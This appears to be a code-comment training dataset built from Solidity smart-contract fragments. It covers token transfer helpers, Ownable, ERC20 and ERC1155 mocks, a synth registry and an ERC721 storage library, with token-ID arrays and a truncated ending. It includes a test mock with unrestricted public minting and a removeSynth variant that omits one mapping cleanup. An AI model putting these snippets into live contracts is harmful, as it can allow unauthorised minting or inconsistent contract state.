bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } pragma solidity 0.7.4; pragma experimental ABIEncoderV2; interface IOwnable { /** * @notice Transfers the ownership of the contract to new address * @param _newOwner Address of the new owner */ function transferOwnership(address _newOwner) external; /** * @notice Returns the address of the owner. */ function getOwner() external view returns (address); } pragma solidity 0.7.4; pragma experimental ABIEncoderV2; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address internal owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the specied address * @param _firstOwner Address of the first owner */ constructor (address _firstOwner) { owner = _firstOwner; emit OwnershipTransferred(address(0), _firstOwner); } /** * @dev Throws if called by any account other than the master owner. */ modifier onlyOwner() { require(msg.sender == owner, "Ownable#onlyOwner: SENDER_IS_NOT_OWNER"); _; } /** * @notice Transfers the ownership of the contract to new address * @param _newOwner Address of the new owner */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "Ownable#transferOwnership: INVALID_ADDRESS"); owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } /** * @notice Returns the address of the owner. */ function getOwner() public view returns (address) { return owner; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "../interfaces/IERC1155Metadata.sol"; import "./Ownable.sol"; contract ERC1155MetadataPrefix is IERC1155Metadata, Ownable { string public uriPrefix; event URIPrefixChanged(string _uriPrefix); bool immutable includeAddress; constructor(string memory _prefix, bool _includeAddress) Ownable(msg.sender) { emit URIPrefixChanged(_prefix); uriPrefix = _prefix; includeAddress = _includeAddress; } function setUriPrefix(string calldata _uriPrefix) external onlyOwner { emit URIPrefixChanged(_uriPrefix); uriPrefix = _uriPrefix; } function uri(uint256 _id) external override view returns (string memory) { string memory suffix = _uint256toString(_id); if (includeAddress) { suffix = string(abi.encodePacked(suffix, "@", _addressToString(msg.sender))); } return string(abi.encodePacked(uriPrefix, suffix)); } function _addressToString(address account) public pure returns(string memory) { return _bytesToString(abi.encodePacked(account)); } function _bytesToString(bytes memory data) public pure returns(string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(2 + data.length * 2); str[0] = "0"; str[1] = "x"; for (uint i = 0; i < data.length; i++) { str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))]; str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))]; } return string(str); } function _uint256toString(uint256 _id) internal pure returns (string memory) { bytes memory reversed = new bytes(78); uint256 v = _id; uint256 i = 0; while (v != 0) { uint256 remainder = v % 10; v = v / 10; reversed[i++] = byte(uint8(48 + remainder)); } bytes memory s = new bytes(i); for (uint256 j = 0; j < i; j++) { s[j] = reversed[i - 1 - j]; } return string(s); } } pragma solidity 0.7.4; import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol"; import "@0xsequence/erc-1155/contracts/utils/SafeMath.sol"; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public override view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public override returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public override returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Mock is ERC20 { constructor() public { } function mockMint(address _address, uint256 _amount) public { _mint(_address, _amount); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "@0xsequence/erc20-meta-token/contracts/mocks/ERC20Mock.sol"; contract ERC20TokenMock is ERC20Mock { } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "@0xsequence/erc-1155/contracts/mocks/ERC1155MintBurnMock.sol"; contract ERC1155Mock is ERC1155MintBurnMock { constructor() ERC1155MintBurnMock("TestERC1155", "") {} } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "@0xsequence/erc20-meta-token/contracts/wrapper/MetaERC20Wrapper.sol"; contract ERC20WrapperMock is MetaERC20Wrapper { }
NiftyswapExchange20#onERC1155BatchReceived: INVALID_TOKENS_TRANSFERRED
require(msg.sender == address(token), "NE20#22");
13,573,825
[ 1, 50, 2136, 1900, 91, 438, 11688, 3462, 265, 654, 39, 2499, 2539, 4497, 8872, 30, 10071, 67, 8412, 55, 67, 16596, 17356, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 2583, 12, 3576, 18, 15330, 422, 1758, 12, 2316, 3631, 315, 5407, 3462, 7, 3787, 8863, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.5.16; import {Ownable} from "../lib/Ownable.sol"; import {ISyntheticToken} from "../token/ISyntheticToken.sol"; import {IERC20} from "../token/IERC20.sol"; contract SynthRegistry is Ownable { struct Synth { bytes32 symbolKey; address proxyAddress; address syntheticAddress; } // Available Synths which can be used with the system address[] public availableSynths; mapping(bytes32 => address) public synths; mapping(address => Synth) public synthsByAddress; /* ========== EVENTS ========== */ event SynthAdded(bytes32 currencyKey, address synth); event SynthRemoved(bytes32 currencyKey, address synth); /* ========== VIEW FUNCTIONS ========== */ function getAllSynths() public view returns (address[] memory) { return availableSynths; } /* ========== MUTATIVE FUNCTIONS ========== */ function addSynth( address proxy, address synth ) external onlyOwner { bytes32 symbolKey = ISyntheticToken(synth).symbolKey(); require( synths[symbolKey] == address(0), "Synth already exists" ); require( synthsByAddress[address(synth)].symbolKey == bytes32(0), "Synth address already exists" ); availableSynths.push(synth); synths[symbolKey] = synth; synthsByAddress[address(synth)] = Synth({ symbolKey: symbolKey, proxyAddress: proxy, syntheticAddress: synth }); emit SynthAdded(symbolKey, address(synth)); } function removeSynth( bytes32 symbolKey ) external onlyOwner { require( address(synths[symbolKey]) != address(0), "Synth does not exist" ); require( IERC20(address(synths[symbolKey])).totalSupply() == 0, "Synth supply exists" ); // Save the address we're removing for emitting the event at the end. address synthToRemove = address(synths[symbolKey]); // Remove the synth from the availableSynths array. for (uint i = 0; i < availableSynths.length; i++) { if (address(availableSynths[i]) == synthToRemove) { delete availableSynths[i]; // Copy the last synth into the place of the one we just deleted // If there's only one synth, this is synths[0] = synths[0]. // If we're deleting the last one, it's also a NOOP in the same way. availableSynths[i] = availableSynths[availableSynths.length - 1]; // Decrease the size of the array by one. availableSynths.length--; break; } } // And remove it from the synths mapping delete synthsByAddress[address(synths[symbolKey])]; delete synths[symbolKey]; emit SynthRemoved(symbolKey, synthToRemove); } }
Save the address we're removing for emitting the event at the end. Remove the synth from the availableSynths array. Copy the last synth into the place of the one we just deleted If there's only one synth, this is synths[0] = synths[0]. If we're deleting the last one, it's also a NOOP in the same way. Decrease the size of the array by one.
function removeSynth( bytes32 symbolKey ) external onlyOwner { require( address(synths[symbolKey]) != address(0), "Synth does not exist" ); require( IERC20(address(synths[symbolKey])).totalSupply() == 0, "Synth supply exists" ); address synthToRemove = address(synths[symbolKey]); for (uint i = 0; i < availableSynths.length; i++) { if (address(availableSynths[i]) == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[symbolKey]; emit SynthRemoved(symbolKey, synthToRemove); }
908,059
[ 1, 4755, 326, 1758, 732, 4565, 9427, 364, 3626, 1787, 326, 871, 622, 326, 679, 18, 3581, 326, 6194, 451, 628, 326, 2319, 10503, 451, 87, 526, 18, 5631, 326, 1142, 6194, 451, 1368, 326, 3166, 434, 326, 1245, 732, 2537, 4282, 971, 1915, 1807, 1338, 1245, 6194, 451, 16, 333, 353, 6194, 451, 87, 63, 20, 65, 273, 6194, 451, 87, 63, 20, 8009, 971, 732, 4565, 12993, 326, 1142, 1245, 16, 518, 1807, 2546, 279, 3741, 3665, 316, 326, 1967, 4031, 18, 31073, 448, 326, 963, 434, 326, 526, 635, 1245, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 10503, 451, 12, 203, 3639, 1731, 1578, 3273, 653, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1338, 5541, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 1758, 12, 11982, 451, 87, 63, 7175, 653, 5717, 480, 1758, 12, 20, 3631, 203, 5411, 315, 10503, 451, 1552, 486, 1005, 6, 203, 3639, 11272, 203, 203, 3639, 2583, 12, 203, 5411, 467, 654, 39, 3462, 12, 2867, 12, 11982, 451, 87, 63, 7175, 653, 5717, 2934, 4963, 3088, 1283, 1435, 422, 374, 16, 203, 5411, 315, 10503, 451, 14467, 1704, 6, 203, 3639, 11272, 203, 203, 3639, 1758, 6194, 451, 12765, 273, 1758, 12, 11982, 451, 87, 63, 7175, 653, 19226, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 2319, 10503, 451, 87, 18, 2469, 31, 277, 27245, 288, 203, 5411, 309, 261, 2867, 12, 5699, 10503, 451, 87, 63, 77, 5717, 422, 6194, 451, 12765, 13, 288, 203, 7734, 1430, 2319, 10503, 451, 87, 63, 77, 15533, 203, 203, 7734, 2319, 10503, 451, 87, 63, 77, 65, 273, 2319, 10503, 451, 87, 63, 5699, 10503, 451, 87, 18, 2469, 300, 404, 15533, 203, 203, 7734, 2319, 10503, 451, 87, 18, 2469, 413, 31, 203, 203, 7734, 898, 31, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 1430, 6194, 451, 87, 63, 7175, 653, 15533, 203, 203, 3639, 3626, 16091, 451, 10026, 12, 7175, 653, 16, 6194, 451, 12765, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.8; import {IERC721} from "./../interfaces/IERC721.sol"; import {IERC721BatchTransfer} from "./../interfaces/IERC721BatchTransfer.sol"; import {IERC721Mintable} from "./../interfaces/IERC721Mintable.sol"; import {IERC721Deliverable} from "./../interfaces/IERC721Deliverable.sol"; import {IERC721Burnable} from "./../interfaces/IERC721Burnable.sol"; import {IERC721Receiver} from "./../interfaces/IERC721Receiver.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {ProxyInitialization} from "./../../../proxy/libraries/ProxyInitialization.sol"; import {InterfaceDetectionStorage} from "./../../../introspection/libraries/InterfaceDetectionStorage.sol"; library ERC721Storage { using Address for address; using ERC721Storage for ERC721Storage.Layout; using InterfaceDetectionStorage for InterfaceDetectionStorage.Layout; struct Layout { mapping(uint256 => uint256) owners; mapping(address => uint256) balances; mapping(uint256 => address) approvals; mapping(address => mapping(address => bool)) operators; } bytes32 internal constant LAYOUT_STORAGE_SLOT = bytes32(uint256(keccak256("animoca.token.ERC721.ERC721.storage")) - 1); bytes4 internal constant ERC721_RECEIVED = IERC721Receiver.onERC721Received.selector; // Single token approval flag // This bit is set in the owner's value to indicate that there is an approval set for this token uint256 internal constant TOKEN_APPROVAL_OWNER_FLAG = 1 << 160; // Burnt token magic value // This magic number is used as the owner's value to indicate that the token has been burnt uint256 internal constant BURNT_TOKEN_OWNER_VALUE = 0xdead000000000000000000000000000000000000000000000000000000000000; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /// @notice Marks the following ERC165 interface(s) as supported: ERC721. function init() internal { InterfaceDetectionStorage.layout().setSupportedInterface(type(IERC721).interfaceId, true); } /// @notice Marks the following ERC165 interface(s) as supported: ERC721BatchTransfer. function initERC721BatchTransfer() internal { InterfaceDetectionStorage.layout().setSupportedInterface(type(IERC721BatchTransfer).interfaceId, true); } /// @notice Marks the following ERC165 interface(s) as supported: ERC721Mintable. function initERC721Mintable() internal { InterfaceDetectionStorage.layout().setSupportedInterface(type(IERC721Mintable).interfaceId, true); } /// @notice Marks the following ERC165 interface(s) as supported: ERC721Deliverable. function initERC721Deliverable() internal { InterfaceDetectionStorage.layout().setSupportedInterface(type(IERC721Deliverable).interfaceId, true); } /// @notice Marks the following ERC165 interface(s) as supported: ERC721Burnable. function initERC721Burnable() internal { InterfaceDetectionStorage.layout().setSupportedInterface(type(IERC721Burnable).interfaceId, true); } /// @notice Sets or unsets an approval to transfer a single token on behalf of its owner. /// @dev Note: This function implements {ERC721-approve(address,uint256)}. /// @dev Reverts if `tokenId` does not exist. /// @dev Reverts if `to` is the token owner. /// @dev Reverts if `sender` is not the token owner and has not been approved by the token owner. /// @dev Emits an {Approval} event. /// @param sender The message sender. /// @param to The address to approve, or the zero address to remove any existing approval. /// @param tokenId The token identifier to give approval for. function approve( Layout storage s, address sender, address to, uint256 tokenId ) internal { uint256 owner = s.owners[tokenId]; require(_tokenExists(owner), "ERC721: non-existing token"); address ownerAddress = _tokenOwner(owner); require(to != ownerAddress, "ERC721: self-approval"); require(_isOperatable(s, ownerAddress, sender), "ERC721: non-approved sender"); if (to == address(0)) { if (_tokenHasApproval(owner)) { // remove the approval bit if it is present s.owners[tokenId] = uint256(uint160(ownerAddress)); } } else { uint256 ownerWithApprovalBit = owner | TOKEN_APPROVAL_OWNER_FLAG; if (owner != ownerWithApprovalBit) { // add the approval bit if it is not present s.owners[tokenId] = ownerWithApprovalBit; } s.approvals[tokenId] = to; } emit Approval(ownerAddress, to, tokenId); } /// @notice Sets or unsets an approval to transfer all tokens on behalf of their owner. /// @dev Note: This function implements {ERC721-setApprovalForAll(address,bool)}. /// @dev Reverts if `sender` is the same as `operator`. /// @dev Emits an {ApprovalForAll} event. /// @param sender The message sender. /// @param operator The address to approve for all tokens. /// @param approved True to set an approval for all tokens, false to unset it. function setApprovalForAll( Layout storage s, address sender, address operator, bool approved ) internal { require(operator != sender, "ERC721: self-approval for all"); s.operators[sender][operator] = approved; emit ApprovalForAll(sender, operator, approved); } /// @notice Unsafely transfers the ownership of a token to a recipient by a sender. /// @dev Note: This function implements {ERC721-transferFrom(address,address,uint256)}. /// @dev Resets the token approval for `tokenId`. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if `from` is not the owner of `tokenId`. /// @dev Reverts if `sender` is not `from` and has not been approved by `from` for `tokenId`. /// @dev Emits a {Transfer} event. /// @param sender The message sender. /// @param from The current token owner. /// @param to The recipient of the token transfer. /// @param tokenId The identifier of the token to transfer. function transferFrom( Layout storage s, address sender, address from, address to, uint256 tokenId ) internal { require(to != address(0), "ERC721: transfer to address(0)"); uint256 owner = s.owners[tokenId]; require(_tokenExists(owner), "ERC721: non-existing token"); require(_tokenOwner(owner) == from, "ERC721: non-owned token"); if (!_isOperatable(s, from, sender)) { require(_tokenHasApproval(owner) && sender == s.approvals[tokenId], "ERC721: non-approved sender"); } s.owners[tokenId] = uint256(uint160(to)); if (from != to) { unchecked { // cannot underflow as balance is verified through ownership --s.balances[from]; // cannot overflow as supply cannot overflow ++s.balances[to]; } } emit Transfer(from, to, tokenId); } /// @notice Safely transfers the ownership of a token to a recipient by a sender. /// @dev Note: This function implements {ERC721-safeTransferFrom(address,address,uint256)}. /// @dev Resets the token approval for `tokenId`. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if `from` is not the owner of `tokenId`. /// @dev Reverts if `sender` is not `from` and has not been approved by `from` for `tokenId`. /// @dev Reverts if `to` is a contract and the call to {IERC721Receiver-onERC721Received} fails, reverts or is rejected. /// @dev Emits a {Transfer} event. /// @param sender The message sender. /// @param from The current token owner. /// @param to The recipient of the token transfer. /// @param tokenId The identifier of the token to transfer. function safeTransferFrom( Layout storage s, address sender, address from, address to, uint256 tokenId ) internal { s.transferFrom(sender, from, to, tokenId); if (to.isContract()) { _callOnERC721Received(sender, from, to, tokenId, ""); } } /// @notice Safely transfers the ownership of a token to a recipient by a sender. /// @dev Note: This function implements {ERC721-safeTransferFrom(address,address,uint256,bytes)}. /// @dev Resets the token approval for `tokenId`. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if `from` is not the owner of `tokenId`. /// @dev Reverts if the sender is not `from` and has not been approved by `from` for `tokenId`. /// @dev Reverts if `to` is a contract and the call to {IERC721Receiver-onERC721Received} fails, reverts or is rejected. /// @dev Emits a {Transfer} event. /// @param sender The message sender. /// @param from The current token owner. /// @param to The recipient of the token transfer. /// @param tokenId The identifier of the token to transfer. /// @param data Optional data to send along to a receiver contract. function safeTransferFrom( Layout storage s, address sender, address from, address to, uint256 tokenId, bytes memory data ) internal { s.transferFrom(sender, from, to, tokenId); if (to.isContract()) { _callOnERC721Received(sender, from, to, tokenId, data); } } /// @notice Unsafely transfers a batch of tokens to a recipient by a sender. /// @dev Note: This function implements {ERC721BatchTransfer-batchTransferFrom(address,address,uint256[])}. /// @dev Resets the token approval for each of `tokenIds`. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if one of `tokenIds` is not owned by `from`. /// @dev Reverts if the sender is not `from` and has not been approved by `from` for each of `tokenIds`. /// @dev Emits a {Transfer} event for each of `tokenIds`. /// @param sender The message sender. /// @param from Current tokens owner. /// @param to Address of the new token owner. /// @param tokenIds Identifiers of the tokens to transfer. function batchTransferFrom( Layout storage s, address sender, address from, address to, uint256[] memory tokenIds ) internal { require(to != address(0), "ERC721: transfer to address(0)"); bool operatable = _isOperatable(s, from, sender); uint256 length = tokenIds.length; unchecked { for (uint256 i; i != length; ++i) { uint256 tokenId = tokenIds[i]; uint256 owner = s.owners[tokenId]; require(_tokenExists(owner), "ERC721: non-existing token"); require(_tokenOwner(owner) == from, "ERC721: non-owned token"); if (!operatable) { require(_tokenHasApproval(owner) && sender == s.approvals[tokenId], "ERC721: non-approved sender"); } s.owners[tokenId] = uint256(uint160(to)); emit Transfer(from, to, tokenId); } if (from != to && length != 0) { // cannot underflow as balance is verified through ownership s.balances[from] -= length; // cannot overflow as supply cannot overflow s.balances[to] += length; } } } /// @notice Unsafely mints a token. /// @dev Note: This function implements {ERC721Mintable-mint(address,uint256)}. /// @dev Note: Either `mint` or `mintOnce` should be used in a given contract, but not both. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if `tokenId` already exists. /// @dev Emits a {Transfer} event from the zero address. /// @param to Address of the new token owner. /// @param tokenId Identifier of the token to mint. function mint( Layout storage s, address to, uint256 tokenId ) internal { require(to != address(0), "ERC721: mint to address(0)"); require(!_tokenExists(s.owners[tokenId]), "ERC721: existing token"); s.owners[tokenId] = uint256(uint160(to)); unchecked { // cannot overflow due to the cost of minting individual tokens ++s.balances[to]; } emit Transfer(address(0), to, tokenId); } /// @notice Safely mints a token. /// @dev Note: This function implements {ERC721Mintable-safeMint(address,uint256,bytes)}. /// @dev Note: Either `safeMint` or `safeMintOnce` should be used in a given contract, but not both. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if `tokenId` already exists. /// @dev Reverts if `to` is a contract and the call to {IERC721Receiver-onERC721Received} fails, reverts or is rejected. /// @dev Emits a {Transfer} event from the zero address. /// @param to Address of the new token owner. /// @param tokenId Identifier of the token to mint. /// @param data Optional data to pass along to the receiver call. function safeMint( Layout storage s, address sender, address to, uint256 tokenId, bytes memory data ) internal { s.mint(to, tokenId); if (to.isContract()) { _callOnERC721Received(sender, address(0), to, tokenId, data); } } /// @notice Unsafely mints a batch of tokens. /// @dev Note: This function implements {ERC721Mintable-batchMint(address,uint256[])}. /// @dev Note: Either `batchMint` or `batchMintOnce` should be used in a given contract, but not both. /// @dev Reverts if `to` is the zero address. /// @dev Reverts if one of `tokenIds` already exists. /// @dev Emits a {Transfer} event from the zero address for each of `tokenIds`. /// @param to Address of the new tokens owner. /// @param tokenIds Identifiers of the tokens to mint. function batchMint( Layout storage s, address to, uint256[] memory tokenIds ) internal { require(to != address(0), "ERC721: mint to address(0)"); unchecked { uint256 length = tokenIds.length; for (uint256 i; i != length; ++i) { uint256 tokenId = tokenIds[i]; require(!_tokenExists(s.owners[tokenId]), "ERC721: existing token"); s.owners[tokenId] = uint256(uint160(to)); emit Transfer(address(0), to, tokenId); } s.balances[to] += length; } } /// @notice Unsafely mints tokens to multiple recipients. /// @dev Note: This function implements {ERC721Deliverable-deliver(address[],uint256[])}. /// @dev Note: Either `deliver` or `deliverOnce` should be used in a given contract, but not both. /// @dev Reverts if `recipients` and `tokenIds` have different lengths. /// @dev Reverts if one of `recipients` is the zero address. /// @dev Reverts if one of `tokenIds` already exists. /// @dev Emits a {Transfer} event from the zero address for each of `recipients` and `tokenIds`. /// @param recipients Addresses of the new tokens owners. /// @param tokenIds Identifiers of the tokens to mint. function deliver( Layout storage s, address[] memory recipients, uint256[] memory tokenIds ) internal { unchecked { uint256 length = recipients.length; require(length == tokenIds.length, "ERC721: inconsistent arrays"); for (uint256 i; i != length; ++i) { address to = recipients[i]; require(to != address(0), "ERC721: mint to address(0)"); uint256 tokenId = tokenIds[i]; require(!_tokenExists(s.owners[tokenId]), "ERC721: existing token"); s.owners[tokenId] = uint256(uint160(to)); ++s.balances[to]; emit Transfer(address(0), to, tokenId); } } } /// @notice Unsafely mints a token once. /// @dev Note: This function implements {ERC721Mintable-mint(address,uint256)}. /// @dev Note: Either `mint` or `mintOnce` should be used in a given contract, but not both. /// @dev Reverts if `to` is the zero address. /// @dev 